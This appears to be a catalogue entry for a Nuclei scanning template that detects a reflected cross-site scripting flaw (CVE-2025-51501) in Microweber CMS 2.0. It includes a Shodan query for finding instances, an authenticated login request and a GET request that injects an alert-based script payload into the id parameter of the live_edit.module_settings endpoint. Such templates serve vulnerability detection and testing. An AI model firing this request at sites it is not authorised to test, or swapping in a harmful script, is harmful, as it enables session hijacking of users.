CVE-2025-51501: Microweber CMS2.0 - Cross-Site Scripting
- Template: CVE-2025-51501
- Name: Microweber CMS2.0 - Cross-Site Scripting
- Description: Reflected Cross-Site Scripting (XSS) in the `id` parameter of the `live_edit.module_settings` API endpoint in Microweber CMS2.0 allows execution of arbitrary JavaScript.
- Impact: Authenticated attackers can execute arbitrary JavaScript in victim browsers through the id parameter in the module_settings API, potentially leading to session hijacking.
- Remediation: Upgrade Microweber CMS to a version later than 2.0 that properly sanitizes the id parameter in live_edit endpoints.
- Severity: medium
- Authors: nukunga
- Tags: cve, cve2025, microweber, xss, authenticated, vuln
- References: https://github.com/progprnv/CVE-Reports/blob/main/CVE-2025-51501, https://nvd.nist.gov/vuln/detail/CVE-2025-51501
- Cves: CVE-2025-51501
- Verified: yes
- Directory: http/cves
- Path: http/cves/2025/CVE-2025-51501.yaml
- Digest: 4a0a004730450221008a815bd62f669ee67b3416e2f1d414c70e12ead350365056d0e97e7a183039a1022037a767625d16ca4000bbc6e49ab3471dfc8cbb1361e0d105e652b5339b393492
- Created at: 2025-08-23T07:30:47Z
- Updated at: 2025-12-15T12:28:58Z
- Age in days: 458
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-51501.yaml
- Not known: max requests
Classification
- Checked, none or zero: cwe
- Not known: cvss score, cvss vector, epss score, epss percentile, cpe
Metadata
- Max-requests: 2
- Product: microweber
- Shodan-query: http.title:"Microweber"
- Vendor: microweber
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| microweber:microweber | yes | /v1/products/microweber/microweber |
Labels
- Name: Microweber CMS - Reflected XSS
- Impact: Attackers can execute arbitrary JavaScript in users' browsers, leading to session hijacking or other client-side attacks.
- Remediation: Update to the latest version of Microweber CMS.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2025-51501
- Not known: requirements
```yaml
id: CVE-2025-51501
info:
name: Microweber CMS2.0 - Cross-Site Scripting
author: nukunga
severity: medium
description: |
Reflected Cross-Site Scripting (XSS) in the `id` parameter of the `live_edit.module_settings` API endpoint in Microweber CMS2.0 allows execution of arbitrary JavaScript.
impact: |
Authenticated attackers can execute arbitrary JavaScript in victim browsers through the id parameter in the module_settings API, potentially leading to session hijacking.
remediation: |
Upgrade Microweber CMS to a version later than 2.0 that properly sanitizes the id parameter in live_edit endpoints.
reference:
- https://github.com/progprnv/CVE-Reports/blob/main/CVE-2025-51501
- https://nvd.nist.gov/vuln/detail/CVE-2025-51501
metadata:
verified: true
max-requests: 2
vendor: microweber
product: microweber
shodan-query: 'http.title:"Microweber"'
tags: cve,cve2025,microweber,xss,authenticated,vuln
flow: http(1) && http(2)
variables:
xss_payload: "</script><script>alert(document.domain)</script>"
http:
- raw:
- |
POST /api/user_login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username={{username}}&password={{password}}&lang=en_US&where_to=admin_content
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "success\":", "username\":")'
condition: and
internal: true
- raw:
- |
GET /api/live_edit/live_edit.module_settings?id={{xss_payload}}&type=shop/shipping/gateways/country/admin HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "</script><script>alert(document.domain)</script>", "Add Country</a>")'
condition: and
digest: 4a0a004730450221008a815bd62f669ee67b3416e2f1d414c70e12ead350365056d0e97e7a183039a1022037a767625d16ca4000bbc6e49ab3471dfc8cbb1361e0d105e652b5339b393492:922c64590222798bb761d5b6d8e72950
```